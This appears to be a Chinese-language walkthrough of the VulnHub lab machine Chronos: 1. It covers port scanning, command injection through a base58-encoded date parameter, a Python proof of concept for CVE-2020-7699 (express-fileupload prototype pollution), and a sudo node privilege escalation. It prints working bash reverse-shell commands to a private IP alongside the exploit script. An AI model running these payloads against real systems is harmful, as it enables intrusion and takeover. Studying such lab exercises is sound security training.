# 前言
这不刚写完 nodejs 的相关利用,这里也是马上找到了一个 js 的靶机来学习一下,本次的的目标 Chronos: 1 ~ VulnHub,本来想水一下描述,但是发现作者就给了一个中等难度,那我就自己做下来的过程给一个描述。
# 描述
难度:中级
设计的任务:
- 主机发现,端口扫描
- WEB 应用攻击
- 命令注入
- 数据编解码
- 框架漏洞利用
- 代码审计
- 本地提权
虚拟机:
- 格式: 虚拟机 (Virtualbox OVA)
- 操作系统: Linux.
联网:
- DHCP 服务:已启用
- IP 地址自动分配
# 攻击过程
# 信息收集
这里靶机和我的 kali 都是通过桥接连接到局域网中
这里我 kali 的 ip 是 192.168.13.249, 这里用 nmap 扫描 13 全段
这里给其分配的 ip 是 192.168.13.96, 接着对端口进行一个协议的发现
这里可以看到 22 端口是一个 openssh 服务,版本是 7.6,80 是一个 Apache 的 web 服务版本是 2.4.29,8000 端口是一个 nodejs 的 web 服务
这里还是去通过浏览器访问 80 端口和 8000 端口
这里两个端口都发现了类似的 js 源码
这里将这部分 js 代码复制到文本中分析,这里文本信息很杂乱,而且有编码,这里使用在线工具对其进行整理
var _0x5bdf = [
'150447srWefj',
'70lwLrol',
'1658165LmcNig',
'open',
'1260881JUqdKM',
'10737CrnEEe',
'2SjTdWC',
'readyState',
'responseText',
'1278676qXleJg',
'797116soVTES',
'onreadystatechange',
'http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL',
'User-Agent',
'status',
'1DYOODT',
'400909Mbbcfr',
'Chronos',
'2QRBPWS',
'getElementById',
'innerHTML',
'date'
];
(function (_0x506b95, _0x817e36) {
var _0x244260 = _0x432d;
while (!![]) {
try {
var _0x35824b = -parseInt(_0x244260(126)) * parseInt(_0x244260(144)) + parseInt(_0x244260(142)) + parseInt(_0x244260(127)) * parseInt(_0x244260(131)) + -parseInt(_0x244260(135)) + -parseInt(_0x244260(130)) * parseInt(_0x244260(141)) + -parseInt(_0x244260(136)) + parseInt(_0x244260(128)) * parseInt(_0x244260(132));
if (_0x35824b === _0x817e36)
break;
else
_0x506b95['push'](_0x506b95['shift']());
} catch (_0x3fb1dc) {
_0x506b95['push'](_0x506b95['shift']());
}
}
}(_0x5bdf, 831262));
function _0x432d(_0x16bd66, _0x33ffa9) {
return _0x432d = function (_0x5bdf82, _0x432dc8) {
_0x5bdf82 = _0x5bdf82 - 126;
var _0x4da6e8 = _0x5bdf[_0x5bdf82];
return _0x4da6e8;
}, _0x432d(_0x16bd66, _0x33ffa9);
}
function loadDoc() {
var _0x17df92 = _0x432d, _0x1cff55 = _0x17df92(143), _0x2beb35 = new XMLHttpRequest();
_0x2beb35[_0x17df92(137)] = function () {
var _0x146f5d = _0x17df92;
this[_0x146f5d(133)] == 4 && this[_0x146f5d(140)] == 200 && (document[_0x146f5d(145)](_0x146f5d(147))[_0x146f5d(146)] = this[_0x146f5d(134)]);
}, _0x2beb35[_0x17df92(129)]('GET', _0x17df92(138), !![]), _0x2beb35['setRequestHeader'](_0x17df92(139), _0x1cff55), _0x2beb35['send']();
}
这里有个 url,先对参数进行解码,发现是 base58 加密
现在不知道有什么用,这里去访问一下
这里直接去访问是没有权限的,这里我开始以为是伪造身份信息之类,最后我又访问了一次不带参数的 8000 端口发现了奇怪的地方
这里直接发送了 http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL 这个请求,但是他的页面又是基于 ip 的,这个域名没法解析,于是这里我更改了本地的 host 文件
更改完成的效果
这是我再去访问页面
这里再去尝试访问 http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL 这个请求就是能成功的
两个页面都多来一条当前的时间
这里可以看见,这个时间实际上是 get 的这个请求得到的,这里使用 burp 抓包方便测试,这个输出的结果格式和上面解码拿到的相同,这里更改了一下传入的信息
这里通过 burp 重放
可以看到这里是能根据我的参数进行改变的
# 命令注入反弹 shell
很显然这里应该是一个 date 命令,这里应该是可以进行命令注入
这里这样尝试一下
发现是能够成功执行命令的,这里反弹一个 shell
bash -c "bash -i >& /dev/tcp/192.168.13.249/2333 0>&1" |
这里就可以成功拿到一个 shell
# 进一步信息收集
接下来就是去这台机器上面寻找相关信息,首先我到根目录就看到一个 lost+found 文件,这里应该是一个删除的文件,这里想要打开却权限不够
所以这里我又去查看了一下 /etc/passwd 文件
这里看见有两个可以执行 shell 的用户,这里去 home 目录看一下发现有一个 imera 目录,但是没权限打开其中的文件
这里就需要提权,当时内核,sudo,suid 都没有找到能提权的方式,这里最后是在网站根目录找到了能进一步利用的地方,这里可以先看到 package,json 文件
这里声明了环境用到的框架和库,这里可以看到使用了 express 框架,这里看一下 app.js
const express = require('express'); | |
const { exec } = require("child_process"); | |
const bs58 = require('bs58'); | |
const app = express(); | |
const port = 8000; | |
const cors = require('cors'); | |
app.use(cors()); | |
app.get('/', (req,res) =>{ | |
res.sendFile("/var/www/html/index.html"); | |
}); | |
app.get('/date', (req, res) => { | |
var agent = req.headers['user-agent']; | |
var cmd = 'date '; | |
const format = req.query.format; | |
const bytes = bs58.decode(format); | |
var decoded = bytes.toString(); | |
var concat = cmd.concat(decoded); | |
if (agent === 'Chronos') { | |
if (concat.includes('id') || concat.includes('whoami') || concat.includes('python') || concat.includes('nc') || concat.includes('bash') || concat.includes('php') || concat.includes('which') || concat.includes('socat')) { | |
res.send("Something went wrong"); | |
} | |
exec(concat, (error, stdout, stderr) => { | |
if (error) { | |
console.log(`error: ${error.message}`); | |
return; | |
} | |
if (stderr) { | |
console.log(`stderr: ${stderr}`); | |
return; | |
} | |
res.send(stdout); | |
}); | |
} | |
else{ | |
res.send("Permission Denied"); | |
} | |
}) | |
app.listen(port,() => { | |
console.log(`Server running at ${port}`); | |
}) |
这个就是刚刚访问的那个服务的代码,回到上级目录,这里发现了另一个目录
这里看到 chronos-v2 是隶属 root 的,这里就猜测这里可能是有另一个 web 应用这里,这里也是进去看一下
这里又发现一个 package.json 文件,这里打开看一下这个文件
这里有一个 express-fileupload,这里存在原型链污染,这里先提一下,详细的后面说,接着打开 server.js 文件
const express = require('express'); | |
const fileupload = require("express-fileupload"); | |
const http = require('http') | |
const app = express(); | |
app.use(fileupload({ parseNested: true })); | |
app.set('view engine', 'ejs'); | |
app.set('views', "/opt/chronos-v2/frontend/pages"); | |
app.get('/', (req, res) => { | |
res.render('index') | |
}); | |
const server = http.Server(app); | |
const addr = "127.0.0.1" | |
const port = 8080; | |
server.listen(port, addr, () => { | |
console.log('Server listening on ' + addr + ' port ' + port); | |
}); |
这里可以看到,这个 8080 只开放给 127.0.0.1,这里可以看到 parseNested 配置选项设置为 true,前面的版本是 1.1.7,条件都满足了 NodeJS 模块代码注入
# 漏洞利用
漏洞编号 CVE-2020-7699
import requests | |
url = 'http://127.0.0.1:8080' | |
cmd = 'bash -c "bash -i >& /dev/tcp/192.168.13.249/2444 0>&1"' | |
poc = { | |
'__proto__.outputFunctionName': (None,f"x;process.mainModule.require('child_process').exec('{cmd}');x" | |
) | |
} | |
requests.post(url, files=poc) | |
requests.get(url) |
这里在 kali 开启 http 服务将文件传输进靶机中
这里监听 2444 端口后运行脚本
成功拿到 shell,这里可以看到当前的用户是 imera,是不是就想起了开始为什么要提权?当即去到 imera 目录查看那个 user.txt 文件
这里拿到的好像又是一个编码
这里算是拿到了第一个 flag,但是这并没结束,我们并没有拿到 root 权限
# 二次提权
还是刚刚提到的三种提权方式,内核,suid,sudo 三种方式,分别查看后,发现这里 sudo 有配置漏洞
这里使用 node 来进行提权
sudo node -e 'child_process.spawn("/bin/bash",{stdio:[0,1,2]})' |
这里提权成功,这里还是到家目录,这里还有一个 flag,也能拿到 root 的权限
到这里就算是结束了,总的来说收获很多,但是对于 nodejs 的利用好像不是特别明显哈,也是去 CVE-2020-7699 复现・SUYUMEN 这位师傅的博客去学习了一下